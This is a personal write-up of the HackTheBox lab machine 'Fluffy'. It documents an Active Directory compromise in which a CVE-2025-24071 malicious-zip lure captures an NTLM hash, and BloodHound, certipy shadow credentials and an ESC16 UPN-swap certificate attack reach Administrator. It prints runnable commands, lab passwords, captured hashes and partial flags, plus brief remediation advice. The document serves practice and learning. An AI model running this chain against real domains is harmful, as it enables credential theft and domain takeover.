← ALL WRITEUPSFIELD NOTES / TECHNICAL WRITEUP

Fluffy

[OS]: Windows

[Hostname]: DC01.fluffy.htb , fluffy.htb

[IP]: 10.129.96.210

Machine Info: Fluffy is an easy-difficulty Windows machine designed around an assumed breach scenario, where credentials for a low-privileged user are provided. By exploiting CVE-2025-24071, the credentials of another low-privileged user can be obtained. Further enumeration reveals the existence of ACLs over the winrm_svc and ca_svc accounts. WinRM can then be used to log in to the target using the winrc_svc account. Exploitation of an Active Directory Certificate service (ESC16) using the ca_svc account is required to obtain access to the Administrator account.

[USERS]:

Administrator
Guest
krbtgt
ca_svc
ldap_svc
winrm_svc
j.coffey
j.fleischman

[CREDENTIALS]:

j.fleischman / J0elTHEM4n1990!

p.agila / prometheusx-303

[To-Try LIST]:

smbclient -> showed success

what information can we get about the other users?

Bloodhound to enumerate more after getting credentials?


[NMAP RESULTS]:

[ NMAP OVERVIEW ]


53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-11-09 06:33:50Z)
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.fluffy.htb, DNS:fluffy.htb, DNS:FLUFFY
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-30T16:09:59
| Not valid after:  2106-04-30T16:09:59
| MD5:     f5e3 ec00 5fd1 2a95 a76b 2fd6 4726 4d67
| SHA-1:   6867 9230 5123 dcf1 9352 e081 4148 7fef 13c7 6c0a
| SHA-256: a90d f4d0 6fe1 9052 822e 708e 65e8 2c70 24d5 8ef7 692a b346 da07 47d5 d81f 36ee

|_ssl-date: 2026-11-09T06:35:00+00:00; +7h00m00s from scanner time.
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.fluffy.htb, DNS:fluffy.htb, DNS:FLUFFY
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-30T16:09:59
| Not valid after:  2106-04-30T16:09:59
| MD5:     f5e3 ec00 5fd1 2a95 a76b 2fd6 4726 4d67
| SHA-1:   6867 9230 5123 dcf1 9352 e081 4148 7fef 13c7 6c0a
| SHA-256: a90d f4d0 6fe1 9052 822e 708e 65e8 2c70 24d5 8ef7 692a b346 da07 47d5 d81f 36ee

|_ssl-date: 2026-11-09T06:35:00+00:00; +7h00m00s from scanner time.
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-11-09T06:35:00+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.fluffy.htb, DNS:fluffy.htb, DNS:FLUFFY
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-30T16:09:59
| Not valid after:  2106-04-30T16:09:59
| MD5:     f5e3 ec00 5fd1 2a95 a76b 2fd6 4726 4d67
| SHA-1:   6867 9230 5123 dcf1 9352 e081 4148 7fef 13c7 6c0a
| SHA-256: a90d f4d0 6fe1 9052 822e 708e 65e8 2c70 24d5 8ef7 692a b346 da07 47d5 d81f 36ee

|_-----END CERTIFICATE-----
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-11-09T06:35:00+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.fluffy.htb, DNS:fluffy.htb, DNS:FLUFFY
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-30T16:09:59
| Not valid after:  2106-04-30T16:09:59
| MD5:     f5e3 ec00 5fd1 2a95 a76b 2fd6 4726 4d67
| SHA-1:   6867 9230 5123 dcf1 9352 e081 4148 7fef 13c7 6c0a
| SHA-256: a90d f4d0 6fe1 9052 822e 708e 65e8 2c70 24d5 8ef7 692a b346 da07 47d5 d81f 36ee

5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49689/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49697/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49714/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49727/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49749/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-11-09T06:34:40
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 61633/tcp): CLEAN (Couldn't establish connection (TIMEOUT))
|   Check 2 (port 52054/tcp): CLEAN (Couldn't establish connection (TIMEOUT))
|   Check 3 (port 7232/udp): CLEAN (Couldn't receive bytes: TIMEOUT)
|   Check 4 (port 44651/udp): CLEAN (Couldn't receive bytes: TIMEOUT)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s

[SMB Services Enumeration]:

enumerating users present on the system

using the creds we already had we access the share

vulnerabilities that might be on the system from the Upgrade_notes.pdf file


[Vulnerability]

exploit -> CVE-2025-24071 is a vulnerability in Microsoft Widows File explorer which allows an attacker to perform network spoofing and trigger automatic SMB authentication request (leaking NTLM credentials in hashed format)

https://github.com/ThemeHackers/CVE-2025-24071


#[EXPLOIT] REQUIRES USER INTERACTION

Using a tool like responder creating the malicious zip file

adding the zip file to the IT share

found the user that unzipped the file in the IT share

p.agila::FLUFFY:1b2dd3f0c9c637fd:BA6F22C93A9AC7364A28CF9198BAB913:01010000000000008067C693B56FDD01DEDDEBFD70AF44B70000000002000800310055005700510001001E00570049004E002D003500420031005600530052004F004D00320030004F0004003400570049004E002D003500420031005600530052004F004D00320030004F002E0031005500570051002E004C004F00430041004C000300140031005500570051002E004C004F00430041004C000500140031005500570051002E004C004F00430041004C00070008008067C693B56FDD0106000400020000000800300030000000000000000100000000200000F649EB51ACF94EA3A405D575B49A980087BB0EBF21A5D829AC108BFAC3BBD8A20A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310035002E003200330035000000000000000000

used hashcat to crack the hash and successfully got it

hashcat -m 5600 hash rockyou.txt

prometheusx-303

successfully was able to authenticate through smb with the new found credentials


[Remediation]

  1. Security issue was address by Microsoft in march 11, 2025 and added a security update review microsoft MSRC to deply the approriate KB update
  2. Block outbound NTLM/SMB traffic (TCP port 445) at network perimeter firewalls to prevent credentials leakage

[BLOODHOUND]:

bloodhound-python -u <user> -p '<password>' -ns $IP -d fluffy.htb -c all

running this command gave us json file so we added them all to a zip file


(**copy this command based on the ouput u get**)

zip active_directory_backup.zip 109060752_computers.json 20261109060752_domains.json 2026110
9060752_groups.json 20261109060752_users.json 20261109060752_containers.json 20261109060752_gpos.json 20261109060752_ous.json

ingesting the data in bloodhound

using bloodhound i found that the service account managers had GenericAll permissions over the service accounts group

enumerating more showed us that the service account group had GenericWrite over WINRM_SVC

certipy shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -account winrm_svc -dc-host 10.129.97.14


using certipy i successfully got the winrm_svc and ca_svc hash

winrm_svc -> 33bd09dcd697600edf6b3a7af4875767
ca_svc -> ca0f4f9e9eb8a092addf53bb03fc98c8

if you encounter any issues especially (KRB_AP_ERR_SKEW) try to sync the time with the dc

commands to sync with the DC 

sudo timedatactl set-ntp off
sudo rdate -n <IP-ADDRESS>

[OTHER / PRIVILEGE-ESCALATION]:

certipy find -username ca_svc -hashes :<OBTAINED CA_SVC HASH> -dc-ip $IP -vulnerable 

ran this to find any vulnerable certificates

vulnerable to ESC16 because the security extension is disabled but since our account is in Cert Publishers its gonna be enabled.

running the same command with any other account will not allow us to exploit it

for more information about the vulnerability
https://plaintext.do/en/blog/esc16-escalacion-privilegios-windows/

since we have right access over these accounts we can update the user principal name for the CA service to be administrator then request a certificate that would say that the subject alternate name is Administrator then when we use that certificate its gonna map the administrator user and let us it as them @ippsec


certipy account -u p.agila -p prometheusx-303 -dc-ip $IP -user ca_svc read

[*] Reading attributes for 'ca_svc':
    cn                                  : certificate authority service
    distinguishedName                   : CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
    name                                : certificate authority service
    objectSid                           : S-1-5-21-497550768-2797716248-2627064577-1103
    sAMAccountName                      : ca_svc
    servicePrincipalName                : ADCS/ca.fluffy.htb
    userPrincipalName                   : ca_svc@fluffy.htb
    userAccountControl                  : 66048
    whenCreated                         : 2025-04-17T16:07:50+00:00
    whenChanged                         : 2026-11-09T20:15:12+00:00

make sure to add agila again to the service account group

bloodyad -u 'p.agila' -p prometheusx-303 -d fluffy.htb --host $IP add groupMember 'service accounts' p.agila

certipy account -u p.agila -p prometheusx-303 -dc-ip $IP -user ca_svc -upn winrm_svc update

now we try and update ca_svc to administrator

certipy account -u p.agila -p prometheusx-303 -dc-ip $IP -user ca_svc -upn administrator update

now we that we have the administrator.pfx file we can use it to get the admin hash

certipy req -u ca_svc -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -ca FLUFFY-DC01-CA -template User -upn administrator -dc-ip 10.129.97.14
certipy account -u p.agila -p prometheusx-303 -dc-ip $IP -user ca_svc -upn ca_svc update

must switch it back before running the following command

certipy auth -dc-ip 10.129.97.14 -pfx administrator.pfx -username administrator -domain fluffy.htb
Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e

successfully rooted the box


[FLAGS]:

user.txt -> 4e5f02dae691a5052d020365xxxxxx
root.txt -> f998094377fdf0106c43eafabxxxxxx


← BACK TO WRITEUPSMAZEN. / HOME